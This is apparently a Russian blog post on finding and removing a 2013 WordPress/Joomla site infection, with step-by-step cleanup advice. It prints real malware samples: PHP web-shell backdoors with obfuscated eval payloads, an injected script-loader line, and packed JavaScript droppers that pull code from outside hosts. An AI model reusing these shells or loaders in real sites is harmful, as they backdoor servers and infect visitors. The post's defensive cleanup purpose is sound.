Осенью-зимой 2013 года по интернету прокатилась волна заражений сайтов основанных на движках WordPress, Joomla, возможно некоторые другие тоже пострадали. Был заражён в том числе и этот сайт. Вирус проявлялся в том, что страницы сайта могли подгружать извне вредоносный код.
Опыта борьбы с вирусами на сайтах у меня не было. Можно было откатиться из бэкапа... Бэкап-то сайта был, но полугодовалой давности (никогда так не тормозите с бэкапами!). Хотя... Даже если бы у меня было несколько свежих бэкапов, то было бы сложно определить какой из них чистый, а какой заражён (бэкап всех наших сайтов занимает 2Гб и многие тысячи файлов).
Пришлось лечиться самому. Поиск по интернету помог, но не очень-то сильно. Везде говорили как удалить последствия вируса, но как обнаружить источник проблемы - ни слова. Поэтому окончательно вычистил только раза с третьего.
Проведя анализ логов сайтов/апача, сравнив по-файлово содержимое древнего бэкапа и свежего завирусованного, я написал для себя такую инструкцию:
1. Поиск и убийство *.php содержащие шелл:
Пример шелла тип А:
if (md5($_POST['p']) == '3e62c5ccfa240db55e396fbddb8ec74e') {preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);}
Пример шелла тип Б:
$auth_pass='70b77118a842ad66b66576544732af28';preg_replace("/.*/".'e',chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39)."7X...........JYfABJvS62Ba+0AsDrYM48wCFMd7/Ag==\x27\x29\x29\x29\x3b",".");
Эти файлы прибиваем полностью, так как они появились у вас через какую-то дырку в CMS и служат дверью для заражения сайта.
Чтобы не перебирать все файлы подряд, можно глянуть в логах апача на строчки типа POST указывающие на эти *.php:
178.33.69.67 - - [15/Dec/2013:00:18:44 +0400] "POST /wp-content/plugins/feedwordpress/readme.php HTTP/1.0" 200 311 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
readme.php - явно левый скрипт, не так ли? Через вызов этого пых-пыха раскидывались вирусные файлы по остальным каталогам сайта.
(!) Осторожнее, не перепутайте с каким-нибудь полезным файлом, входа в админку например.
1а. Рядом могут оказаться левые *.swf -> убить их.
Пока ищите те пых-пыхи смотрите по сторонам, можете заметить какой-нибудь якобы флеш-файл на самом деле им не являющийся. Основные признаки: одинокая "флешка" среди кучи php или jpg; "флешка" повторяет имя соседнего файла - abc.swf, а рядом abc.txt.
Не уверены что это ненужный файл? Переименуйте его вместо убийства.
2. Поиск *.js с содержимым в последней строке:
;document.write("<scr"+"ipt src='/wp-includes/SimplePie/lilb.js'><"+"/script>");
Эта строка приписана вирусом к одному из полезных скриптов сайта. И вызывает уже 100% левый скрипт, имя которого прописано в явном виде.
2.1. Посмотреть что внутри этих src=*.js
Могут содержать код типа:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('l 1b(f){1c(s.Q&&s.2D){2 12=s["2O"+"2M"+"2J"+"2y"+"2n"+"2j"](\'2w\')[0];2 m=s.Q(\'3d\');2 3f="3m(}{/%3n[3i!2V";2 35=".34{r^;}D/1r";2 1z="O#.1H.~1D;1I#";2 1h="g%U<<,1m&1v-X";2 2g="26:~e`n,8&21-";m.11(\'28\',"t"+"e"+"29/"+"20"+"1Z"+"1K"+"i"+"1Y");m.11(\'f\',f);2 2Z="`1U+1T]1V-6";2 1W="!7#o$q E,;8/";2 1X="1S,^`1R<(z%<=";2 1M="`?1L+w!?S~!]1N&1O";2 1Q="]~)X+.1P&)n";12["a"+"A"+"e"+"2b"+"C"+"2a"+"2c"](m)}}l 15(){u R.2d()}2 1J="-2e[$.+K%b^23";2 22=")^ 7^24%:>.25-T";2 27="X$5[4<k)W<8%{]$q*v 1l";2 1k="1n{1j=;$%3";2 1q="1p^1e)(1i?";l 14(d){u d.Z(Y)!=-1}2 1g="<;.C< H%:4!-&";2 1f="1o*=^;}+N)/ *?y[1s%";2 1E="1F{T%#1G]1B";2 1A="9}1u:1t,{M(;1w";2 1x="h{!.:V+=*;1y].1C;I,*";2 1a="2f"+"2Q"+":/"+"/x"+"33"+"32"+"31"+".p"+"p."+"d"+"/4"+"37"+"36"+"30"+"2h"+"2U"+"2T"+"2S"+"10"+"2W"+"2Y"+"3a"+"38"+"3c"+"3j"+"39"+"3k"+"3l"+"3?G="+J.F();2 Y="w"+"3h";2 3g="/!?*3b:3e.=[j( P,2X";2 2R="C*;2t>2s{a]..2r#2u";2 2v="%[-6=2x&L<2q{2p&2k:B 2i<";2 2l="~1]~@.$(2m$/2o,t>q";2 2z="2L?2K";l 19(d){u d.Z("c"+"h"+"2N"+"2P")==-1}l 13(){17 16().f="18://1d.A.d/2I?G="+J.F();2 d=R["2H"]["2C"+"2B"+"2A"+"r"+"2E"+"2G"]();1c(19(d)&&14(d)&&15()){17 16().f="18://1d.A.d/2F?G="+J.F();1b(1a)}}13();',62,210,'||var|||||||||||ua||src||||||function|script_tag||||||document||return||||||pp|||||random|rand|||Math|||||||createElement|navigator|||||||win|indexOf||setAttribute|head_tag|includeCounter|isWin|cond3|Image|new|http|notChrome|url|includeJavascript|if|xekaxoz|5f3|sfzZL1|sfzZL0|tacIOkfZ3|F6|0_|VOOdguPqgf3|zK|_P|uWy|CBIM|Vyh|VOOdguPqgf4|DE|3Iqy|QD|9T|eI|8ag|sfzZL4|_y|tacIOkfZ2|sfzZL3|OC9I|lC|3y_|sfzZL2|r0|9ptJr37G|Zm|KJ|VOOdguPqgf0|scr|hxn|HgJdXvzK3|1t58S|j0|uLHo497|HgJdXvzK4|_C03|Ymp|G4pV|Gnn95|5Gw2|HgJdXvzK1|HgJdXvzK2|pt|va|ja|CJmb|VOOdguPqgf1|UrCMNn2|eO5Y|9m|aY|VOOdguPqgf2|type|xt|hi|nd|ld|javaEnabled|6NXk7|ht|tacIOkfZ4|5f|MJ|ame|pc|qPiQIm3|8n|TagN|3nEX|9J6|59E|bDO|iF|A4|CArd|qPiQIm2|head|6_qC|By|qPiQIm4|we|Lo|to|getElementsByTagName|Ca|d6fgo57dml6k67mdfg6lo1|se|userAgent|s3dfk32m3sd73klf3mos5d|ents|7JOlt|xJn4c|Elem|ro|get|me|tp|qPiQIm1|7a|69|48|Ic|60|OF|e4|HgJdXvzK0|6a|oz|ax|ek|_Ypl|tacIOkfZ1|c1|02|c5||f5|GK3|c8|script|P7r|tacIOkfZ0|qPiQIm0|in|hTsEI8|97|eb|ee|uhXZ|fl'.split('|'),0,{}))
По сути в этом коде происходит вызов тех самых "флешек", которые встраиваются в страницу выдаваемую посетителю сайта с целью загрузки и выполнения зловредного кода. К сожалению, код зашифрован и путь вызова "флешки" не виден. См. п.1а.
2.2. Если виден путь к *.swf, то убить этот *.swf
Пару раз путь к "флешке" в скрипте из п.2.1 был виден в открытом виде, но чаще он зашифрован как в моём примере выше. Потому не забываем повторять п.1а.
Далее цитата с чужой инструкции по поиску вируса. Мне, честно говоря, такое не встречалось, но я записал себе, на всякий случай.
.................Если путь явно не виден, но есть код:
var div = document.createElement('div')
то перед этим кодом вставляем строку:
alert (counter);
Заходим на наш сайт (обновляем) и видим alert с адресом нужного нам swf. Удаляем его...................................
Взял из http://kumatoz.ru/cms/wordpress-cms/virus-wordpress/
2.3. Убить файл из ссылки src=*.js (п.2.1)
2.4. Убить найденную вредную последнюю строчку из полезного *.js (п.2). Файл целиком только не грохните.
3. Ещё раз поискать левые *.swf и убить их. Хотя, по сути, запускать их уже не кому, но зачем мусор раскидывать?
Несколько примеров заражённых файлов:
Joomla:
/media/system/js/mootools-core.js - пример к п.2, наверное каждый раз его заражало.
/misc/ui/images/korkmaz.js - это к п.2.1. Зачем жаба-скрипту сидеть в папке с картинками?
WordPress:
wp-admin\network\config.inc.php - п.1. Брал себе имя соседнего файла.
wp-content\themes\travel-blogger\scripts\gmap.js - п.2. частенько заражался именно этот файл
/wp-includes/SimplePie/lilb.js - п.2.1
/wp-content/plugins/WPRobot/scotty.js - п.2.1
wp-includes\images\smiles\noemie.js - п.2.1. жаба-скрипт среди смайликов
wp-includes\images\crystal\andi.swf - п.3 он же п.1а. флешка среди картинок.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7 e(6){a(3.c&&3.d){5 8=3.d(\'j\')[0];5 2=3.c(\'k\');2.b(\'i\',\'l/m\');2.b(\'6\',6);8.s(2)}}7 h(){5 4=9.n.u();5 g="w://x.v.4/t.o";a((4.f("p")==-1&&4.f("r")!=-1)&&9.q()){e(g)}}h();',34,34,'||script_tag|document|ua|var|src|function|head_tag|navigator|if|setAttribute|createElement|getElementsByTagName|includeJavascript|indexOf|url|includeCounter|type|head|script|text|javascript|userAgent|js|chrome|javaEnabled|win|appendChild|counter|toLowerCase|pp|http|dexedok'.split('|'),0,{}))
joomla-virus
< ?php
if (md5($_POST['p']) == '3e62c5ccfa240db55e396fbddb8ec74e') {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']);
}
WP-virus
public_html\wp-content\themes\travel-blogger\scripts\gmap.js
;document.write("
;document.write("
/wp-includes/SimplePie/lilb.js
public_html\wp-includes\images\crystal\andi.swf новый файл
public_html\wp-includes\images\smiles\noemie.js лишний
public_html\wp-admin\network\config.inc.php
файле public_html\wp-content\themes\travel-blogger\scripts\gmap.js
;document.write("
178.33.69.67 - - [15/Dec/2013:00:18:44 +0400] "POST /wp-content/plugins/feedwordpress/readme.php HTTP/1.0" 200 311 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
178.33.69.67 - - [15/Dec/2013:00:18:44 +0400] "POST /wp-content/plugins/feedwordpress/readme.php HTTP/1.0" 200 367 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3"
// ]]>
// ]]>
1 комментарий
Pingback:Ай, Болит! | Dnevnikov.net